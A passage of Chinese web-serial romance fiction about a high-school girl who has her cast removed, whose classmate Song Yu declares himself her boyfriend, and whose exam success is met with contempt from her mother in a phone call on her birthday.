她怎么也没想到,拆石膏竟然是用电锯,电锯!
刺啦声响起来大概没人不怕,恰好宋聿在这,她便允许自己暂且矫情一下,“可以换,换剪刀剪吗,或者我回家自己拆,已经好了,我回家自己
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拆吧。”
“帮忙摁一下你同学。”医生无情地冲宋聿开口,宋聿从后面揽住她,蒙住她的眼睛,“不怕,不会切到你。”
说话的功夫医生“手起刀落”划开了脚踝那块,孟知卿下意识缩了下脚,然后感觉好像碰到了个冰凉的东西。
“疼吗,说了不会切伤,怕什么,”医生停下电锯望她,“这下不动了啊,再动又扭伤了。”
宋聿松开她的眼睛,她额头已经冒出汗了,“……嗯。”
咬着牙,眼睁睁地看医生揭下石膏,叫她动动脚,而后后知后觉自己脚光着,什么都没穿。
“脚趾缩着干什么。”宋聿蹲到她跟前,轻拍她一下。孟知卿感觉浑身都颤了颤,“嗷。”
松开脚趾,发呆。好像也没那么重要,遗传而已,人与人生来的不同便来自于此,何必否定自己。
“下来走走吧。”穿好鞋宋聿点点她脑袋。
她:“啊,好。”
然后又后知后觉,“你刚摸过我脚,又摸我脑袋?”
“不然呢,”宋聿笑,“你嫌弃自己?”
孟知卿:“……”
那倒没有,只要他不嫌弃,她自己有什么可嫌弃的。
“叮铃!”
一道响亮的手机来信打断两人,孟知卿愣了下,掏出手机。
宋聿脸色在一瞬间变了,嘴角的笑僵住,“阿姨?”
孟知卿看了眼,“不是,乔恩。”
“嗷,那我去缴费,你,”他拉长声音,没考虑好孟知卿应该去哪。
“不用我跟你一起吧。”孟知卿点开消息,跟上他。又愣了下。
“怎么了?”宋聿心一下提起来,一下咽回去,人都变得无措了,“阿姨让他联系你?”
“不是,”孟知卿把手机递过去,“他问我在哪,是不是没来医院,他二十分钟前就等在门诊了,一直没看到我。”
-
跟乔恩的相遇着实孟知卿没想到的,毕竟他平时忙得连人影都见不到,居然会记得她拆石膏的时间?居然还不提前告诉她,直接等在门诊,等着遇她?
“这位是……”
乔恩本甩着冲锋衣大步向前,见孟知卿身边尾随着一个人,从楼梯口一直尾随到门诊处,脚步犹疑了一下,放慢,“你认识?”
孟知卿先同他问好,然后指着他跟宋聿介绍,“这就是我跟你说的乔恩,我妈妈的私人助理,马来西亚人,以前跟我父亲是同学。”
而后示意宋聿,对乔恩说:“宋聿,一中同学,大学霸,学习特别好。”
乔恩仰着脸打量他,点点头,“你好。”
朝他伸出手。
宋聿没停顿多久,居高临下上前一步,“你好,我是卿卿新交的男朋友。”
20. 拉腔
“怎么回事,不是好好学习?怎么还交了男朋友?”
临近午饭时间,肯德基人挤人,几乎没有空位。乔恩拉孟知卿坐到靠门里侧的位置,宋聿被安排去等排餐。
闻言孟知卿偏眼看下取餐台,宋聿正半倚在那,阴沉沉地盯着她。
“不知道,”她耸耸肩,“他自己说的,我不清楚。”
“什么你不清楚,”乔恩往旁边挪点挡住她看宋聿的视线,“谈男朋友了你不清楚?”
孟知卿回过神,“不是,我的意思我们没正式说过在一起,不清楚他为什么说出男朋友这个词。”
“没正式说过在一起,”
乔恩抓住关键词,“那就是还在暧昧期,你喜欢他,他也喜欢你。”
“嗯。”孟知卿几乎没思考便应下,“我喜欢他,他也喜欢我。”
并且一直觉得她跟宋聿之间不需要太多明确关系的话,他们心与心之间的距离很近,没有隔阂,相守相伴,又不约而同地珍惜当下,珍惜彼此还存在于彼此身边的时刻。
“问了你什么?”
乔恩还是那个乔恩,一份做为长辈的责任感,但终归不是正儿八经的长辈,留下一句“你自己把握适度吧”便匆匆离开。
宋聿端着托盘坐到乔恩原先的位置,“劝你分手?”
孟知卿笑了,“你觉得?”
挪开桌上的东西接过托盘,拆开鸡米花捡出一颗,“你表现是有多差,一见面就劝分?”
宋聿没说话,坐在那一动不动。
“?”
孟知卿擦擦脸,又捏张纸包住鸡米花显得讲究一些,“怎么了,”
恍然想起什么,“靠你不会在吃他的醋吧?”
伸长脖子把鸡米花咽下去,“他跟我父亲一样大诶,努努力都能生个我了,你醋吃得连客观事实都不讲,也太离谱了点。”
宋聿还是没说话,唇角勾了抹忍俊不禁的笑,“嗯,挺离谱的。”
然后帮忙把鸡米花盒子撑大一点,推到她跟前,“不过我想说的是……”
他抬手托住下巴,拉着腔,“你是我女朋友了,以后叫你卿卿。”
孟知卿:“……”
-
月考成绩出来,孟知卿以总分四百七十九分的好成绩冲进年级前一百,位列第九十八名。
语文一百二十一,数学六十二,英语一百四十四,物理四十八,化学二十二,生物八十二。
每一项都超长发挥,每一项。
“满意吗,”
宋聿接过她的成绩条看了又看,“去年一本录取才四百六十二,你比一本线高出十七分,算不算给自己一个交代了?”
孟知卿点头,一个劲点头,“晚上打电话告诉妈妈。”
“嗯?”
宋聿递成绩条的手顿住,“打电话告诉阿姨?主动告诉她?”
孟知卿:“嗯,我要证明给她看的。”
接过成绩条收进笔袋,宋聿沉默了。
晚间,秋风卷起三三两两的落叶,路灯照旧,小吃街烟火气一如往常。
“坐会吗,”
孟知卿拉住一路往前的宋聿,指指长椅,“今天不着急回去,打电话你不想听听?”
宋聿没出声,但默认,跟着她坐到香樟树下。阴影笼罩,他们浑身都灰暗了。
“打吧。”
宋聿缩着脖子说。
国庆之后气温明显下降,一中最不怕冷,再不怕冷的同学也已经套上秋季校服外套,一件黑白相间的运动卫衣,没帽子,拉链拉到底刚好够住下巴。
孟知卿侧过脸,宋聿半个嘴唇埋在衣服里,揣着口袋垂着头,身型显得那样单薄,那样失意失落,连耷拉下去的短发也无措地飘在风里。
“没事的,别担心,”
孟知卿不自觉地靠近他,再靠近他,继而从他身前环上他的脖子,正大光明地拥抱他,她也可以光明正大地拥抱他了。
“报喜而已,她不会多说什么,况且乔恩不也说了她在出差?她出差很忙的,没时间在意我。”
“那又何必提醒她?”宋聿愣了一刻,转而贴到她颈窝,翁声。
孟知卿想笑,“没有,提醒她也不一定在意,说不定还会骂我两句,你信不信。”
“怎么会。”
“不信是吗,”孟知卿松开手,“不信你听听。”
拨响语音,直到最后几秒才接通,“干什么。”
一道不耐烦的女声径直传出,孟知卿摁大音量,连街那侧嘹亮的划拳声也盖住。
“妈妈,”她非常乖巧地喊出一句,“我们月考成绩出来了。”
“……然后呢。”
可能那一声妈妈喊得太乖巧,太孩子气,勾起某位母亲刚生孩子时对孩子这也小心,那也注意的母爱了。盛岚的声音不再显得那么不耐烦,“考得怎样。”
但也没好到哪儿去。
“全校第九十八名,超过去年一本分数线十七分。”
“嗷,才十七分。”
似乎是进了房间关了门,那头的声音不再那么嘈杂,“十七分有什么用,就目前高考这内卷程度,报不上什么好学校吧,报上了也是被发配,出来人问你学的什么专业,你都不好意思说,说了人也听不懂,”
声音离远了些,紧接着传出搓手敷脸的声音,“听我的,回国际学校好好准备雅思,哪怕你考三百分都有好学校上,犯得着在这辛苦,早出晚归,还天天考试,你考得明白吗,这次考试确定不是学校放水?或者你作弊抄隔壁同学的?”
“没有妈妈,”孟知卿打断她,因为她的风格就是,越说越气,越说越上头,不能让她一直说。
“我上回考试在倒数第二考场,瞥谁都瞥不出这个成绩。”
尴尬
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笑笑,笑着看一眼宋聿。宋聿脸色很难看,仿佛自己视若珍宝的东西在别人那里却如草芥一般,很不服。无能为力又很憋屈。
孟知卿示意他别出声,千万别出声。
那头盛岚的声音顿了下,拍脸的手也顿住,“所以呢,你想说明什么,就应该放你在那好好学习,按部就班参加高考,填志愿等录取通知书?”
“别惹我笑了吧,我敢堵吗,我敢信你吗,早上起来磨蹭半个小时出不了门的跟我说要花时间好好学习?你这回试卷是不是特别简单,还是成绩是骗我的,你把你成绩单跟试卷拍来我看看,看看到底要糊弄谁,”
挪凳子起身,“照这么说一中也不怎么样,什么人都能年级前一百,月考卷都怎么出的,水准有没有,”
声音越来越小,直至消失。可能人去其他地方,把手机搁梳妆台了。
孟知卿抬起脸,宋聿没动。
“怎么样,我说了吧。”她用气音“显摆”,宋聿还是没动,保持着弯腰,胳膊架在膝盖上的动作。秋风萧瑟,连世界都凄凉了。
“我这会正出差没时间管你,你成绩提升也好,申请国外大学也需要高考成绩,高一点学校好一点,你孟家颜面多一点,”
说着拿起手机递到耳边,声音变大,人也变得严肃,“你以为我想安排你吗,还不是为了你,我不帮你规划,未来你一无是处,留宿街头跑到你爸坟前哭也只会怪我,说我生你没养你,你其实跟你那个老不死的奶奶一个死样,只会把责任往旁人身上推,永远学不会反思,永远理解不了旁人的好意,觉得是消遣,是伸长了手,讲句不好听的,狼心狗肺,你狼心狗肺。”
“妈妈,”孟知卿吞了口唾沫,打断她。太遥远的记忆不适合在任何时候提起来,孟嘉先生突然离世是谁也没料到的,一晚上睡过去,次日再没醒来更是始料未及的,不怪任何人。
而奶奶做为他的妈妈守护自己儿子的产业,害怕被媳妇糟践了,时常查验盘问也情有可原,白发人送黑发人的悲哀,谁都可以理解。
“今天几号呀。”她软下声音问。
电话那头的人可能也觉得提起这遭陈年往事相当没必要,也软下声音,“自己不会看,没手机吗。”
孟知卿鲜少撒娇,“在跟你通话呢,你告诉我嘛。”
“七号。”对面不耐烦,掀了被子准备上床,“明天开早会,没事少跟我闲扯。”
“嗯,十月七号是吗,”孟知卿像没听到她说话似的,自顾自道,“那可真是个好日子啊,国庆假最后一天呢。”
对面掀被子的手顿住,“你想说什么。”
像真的没想起来,也没有任何记起来的迹象。
“好像是我生日。”
孟知卿说。宋聿恍然望向她,她笑得开朗,“是你为我受难的日子,我要跟你说声辛苦了。”
说着,眼里泛起泪光。